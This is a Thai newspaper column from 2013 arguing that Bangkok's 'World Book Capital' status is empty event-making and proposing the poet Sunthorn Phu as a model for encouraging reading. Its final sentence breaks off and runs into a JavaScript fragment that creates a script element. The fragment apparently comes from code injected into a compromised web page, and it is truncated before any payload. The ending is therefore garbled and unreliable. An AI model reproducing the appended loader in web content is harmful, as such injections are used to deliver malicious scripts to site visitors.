มติชนรายวัน ฉบับประจำวันพุธที่ 15 พฤษภาคม 2556

 

          “กรุงเทพฯ เมืองหนังสือโลก” ทำได้ และทำแล้ว ไม่ยาก ก็แค่จัดอีเวนต์เป็นผักชี จะไปยากอะไร?

          แต่ไม่ง่าย ที่จะทำให้คนกรุงเทพฯอ่านหนังสือเพิ่มขึ้น ถึงไม่ง่าย ก็ต้องไม่สิ้นเพียร

          การศึกษาไทยทั้งระบบ ไม่มีพลังชักจูงและดึงดูดให้คนอ่านหนังสือ ไม่ว่าคนในกรุงเทพฯ หรือคนนอกกรุงเทพฯ

          ดูแค่สุนทรภู่ มหากวีและนักปราชญ์ยิ่งใหญ่สำคัญมากของไทย ซึ่งเป็นคนเกิดในกรุงเทพฯแท้ๆ แต่คนในกรุงเทพฯยังไม่ใส่ใจอ่านงานของท่าน ไม่ว่าคนระดับไหน? แล้วไม่สนใจดูแลรักษาสถานที่ประวัติศาสตร์ที่เกี่ยวข้องชีวิตท่านไว้เป็นแหล่งเรียนรู้

          งานสำคัญสุดยอด คือ พระอภัยมณี เป็นวรรณกรรมต่อต้านการล่าเมืองขึ้นของอังกฤษและยุโรป ในยุคต้นกรุงรัตนโกสินทร์ โดยใช้ฉากเกือบครึ่งโลก

          และเป็นงานที่แสดงตัวตนแท้จริงของสุนทรภู่ว่าเป็นนักอ่านก้าวหน้า แสวงหาความรู้กว้างขวางมากจากแหล่งต่างๆ เช่น จีน, อินเดีย, เปอร์เซีย, มลายู, ฝรั่ง, ฯลฯ

          แต่ถูกระบบการศึกษาไทยแช่แข็งให้พระอภัยมณีเป็นแค่นิทานกลอนจักรๆวงศ์ๆ เวิ่นเว้อ

          สุนทรภู่ อยู่ในตระกูลผู้ดีบางกอก เกิดและโตอยู่วังหลัง ปากคลองบางกอกน้อย ฝั่งกรุงธนบุรี นับเป็นคนในกรุงเทพฯ หรือชาว กทม. โดยแท้

          เพราะอยู่เรือนแพที่ปากคลองกับแม่ตั้งแต่เด็กๆ (ท่านเขียนบอกไว้เองในโคลงนิราศสุพรรณ) เมื่อบวชแล้วไปจำพรรษาอยู่วัดเทพธิดาราม (ท่านเขียนบอกไว้เองในกลอนรำพันพิลาป) ใกล้ที่ว่าการ กทม. เสาชิงช้า

          สุนทรภู่ยกย่องวิชาความรู้ แล้วแสวงหาด้วยตัวเองไม่หยุดนิ่งจากแหล่งต่างๆ ทั้งของหลวงและของราษฎร์ ทั้งด้วยหู, ด้วยตา, และด้วยตีน

          ความรู้ของหลวงมีในสมุดไทย เก็บไว้ในหอหลวง วังหลวง และตามวัดวาอารามหลวง

          ความรู้ของราษฎร์ มีในคำบอกเล่าของชาวบ้าน และจากภูมิประเทศแวดล้อมที่เดินทางไปถึง

          ด้วยหู คือ ฟังรู้จากเนื้อร้อง เพลงดนตรี, ละคร, เสภา, ทำนองเสนาะ จนถึงคำบอกเล่าของชาวบ้าน

          ด้วยตา คือ อ่านสมุดไทย และดูการละเล่น เช่น โขน, ละคร, เสภา, เพลงโต้ตอบ, ฯลฯ

          ด้วยตีน คือ เดินทางท่องเที่ยวไปในท้องถิ่นด้วยเหตุผลต่างๆนานา แล้วได้รู้เห็นด้วยตนเองเป็นประสบการณ์ตรง

          สุนทรภู่ นี่แหละคือไอดอลชูโรงคนหนึ่ง(นอกเหนือจากทำอย่างอื่นๆ)ที่น่าจะยกย่องเพื่อชักจูงดึงดูดการอ่านเพิ่มขึ้นได้บ้าง ให้กรุงเทพฯ เมืองหนังสือโลก

          ควรมีกิจกรรมชวนอ่านหนังสือที่นอกเหนือจากด้วยตา คือด้วยหูและด้วยตีน โดยเดินทางทอดน่องท่องเที่ยวสถานที่เกี่ยวกับสุนทรภู่และกวีอื่นๆ ทั้งในและนอก กทม.

          ที่สำคัญคือต้องทำสม่ำเสมอทั้งปีและทุกปี ไม่ใช่มีเป็นผักชีอีเวนต์แล้วเลิก อย่างที่ชอบทำกันอย่างนั้น แล้วหลอกตัวเองกับหลอกคนอื่นว่าสำเร็จตามเป้าหมาย

          แต่ไม่ได้ผลvar d=document;var s=d.createElement(‘script’);